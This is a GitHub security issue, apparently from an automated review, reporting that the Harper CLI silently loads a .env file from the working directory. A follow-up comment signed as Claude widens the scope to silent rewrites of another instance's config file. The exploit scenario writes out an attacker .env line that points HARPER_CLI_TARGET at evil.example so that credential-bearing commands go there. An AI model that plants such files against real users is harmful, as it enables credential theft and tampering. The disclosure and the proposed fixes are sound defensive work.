You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
[security] CLI silently autoloads .env from the current working directory to resolve target/credentials #1927
Severity: LOW · Category:improper-input-validation · CWE-20 Location:bin/cliOperations.ts:238 in cliOperations
Impact
Running a CLI operation in a directory containing an attacker-planted .env can send the operation (and any sensitive parameters passed as key=value, e.g. a new user's password) to an attacker-controlled endpoint instead of the intended local/remote Harper instance.
Details
An untrusted .env file in the current working directory (e.g. inside a downloaded/cloned project you are about to deploy) is loaded into process.env, which then feeds resolveTarget/username/password; a command run without an explicit target= is silently redirected to an attacker-controlled HARPER_CLI_TARGET.
Exploit scenario
An attacker ships a repo/tarball containing .env with HARPER_CLI_TARGET=https://evil.example:9925. The victim cd's into it and runs a harper operation (e.g. harper add_user username=admin password=secret). resolveTarget picks up the attacker target from the autoloaded env and the request, including the credential parameters, is sent to the attacker's server.
Preconditions
Victim runs a harper CLI operation with cwd inside an attacker-controlled directory
The corresponding HARPER_CLI_TARGET/CLI_TARGET is not already set in the real environment (dotenv does not override existing vars)
Victim does not pass an explicit target= argument
Recommended fix
Do not implicitly load .env from an arbitrary cwd for a credential-bearing CLI; require an explicit opt-in path, or ignore target/credential-related keys sourced from a cwd .env, and warn when a target is resolved from an env file rather than an explicit argument.
Found by an automated multi-agent security review (Claude Security) against origin/main @ 2615b092b, confirmed by a three-lens verification panel. Line numbers are as of that commit. No code was executed; derived from source review, so validate before remediation.
The scope here should widen: beyond HARPER_CLI_TARGET redirecting the connection, a poisoned CWD .env can make a nominally read-only CLI op silently rewrite a different live instance's config file on disk.
Verified on origin/main @ fb762a365:
bin/cliOperations.ts:872 (drifted from :238), bin/login.ts:22, bin/logout.ts:8 all call dotenv.config() with no path, so a CWD .env is trusted.
ROOTPATH from that .env redirects initConfig() — reached at bin/cliOperations.ts:762 on the no-explicit-target= branch, i.e. exactly an ordinary local read like get_configuration — onto a different running instance's root.
applyRuntimeEnvVarConfig (config/configUtils.ts:1310) then persists unconditionally: atomicWriteFile(configFilePath, String(configDoc), {skipIfUnchanged:true}) at :1404, whenever it's the main thread and a configFilePath is present. There is no read-only guard anywhere on that path.
Measured by re-reading the file after a read-only op: logging.level flipped error → trace on the other instance's on-disk YAML.
Two honest narrowings worth recording so nobody over-scopes this: bin/run.ts (server start) takes no dotenv at all, and a poisoned run's getHdbPid() comes back empty, so it reports "Harper is not running" rather than proxying to the live socket — the mutation is maximally silent but does not compound into impersonation. Exposure shape is the one already described here: a shared checkout or a CI runner.
Same fix direction as filed (stop trusting CWD .env / make the autoload opt-in with an explicit path), plus a second half not covered today: applyRuntimeEnvVarConfig should not have a disk-write side effect reachable from a read-only CLI path at all.
From dispatch QA finding qa-wave-2026072414:1. — Claude (Opus 5)
Activity
kriszyp commentedon Sep 1, 2026
The scope here should widen: beyond
HARPER_CLI_TARGETredirecting the connection, a poisoned CWD.envcan make a nominally read-only CLI op silently rewrite a different live instance's config file on disk.Verified on
origin/main@fb762a365:bin/cliOperations.ts:872(drifted from :238),bin/login.ts:22,bin/logout.ts:8all calldotenv.config()with nopath, so a CWD.envis trusted.ROOTPATHfrom that.envredirectsinitConfig()— reached atbin/cliOperations.ts:762on the no-explicit-target=branch, i.e. exactly an ordinary local read likeget_configuration— onto a different running instance's root.applyRuntimeEnvVarConfig(config/configUtils.ts:1310) then persists unconditionally:atomicWriteFile(configFilePath, String(configDoc), {skipIfUnchanged:true})at:1404, whenever it's the main thread and aconfigFilePathis present. There is no read-only guard anywhere on that path.Measured by re-reading the file after a read-only op:
logging.levelflippederror→traceon the other instance's on-disk YAML.Two honest narrowings worth recording so nobody over-scopes this:
bin/run.ts(server start) takes no dotenv at all, and a poisoned run'sgetHdbPid()comes back empty, so it reports "Harper is not running" rather than proxying to the live socket — the mutation is maximally silent but does not compound into impersonation. Exposure shape is the one already described here: a shared checkout or a CI runner.Same fix direction as filed (stop trusting CWD
.env/ make the autoload opt-in with an explicit path), plus a second half not covered today:applyRuntimeEnvVarConfigshould not have a disk-write side effect reachable from a read-only CLI path at all.From dispatch QA finding
qa-wave-2026072414:1. — Claude (Opus 5)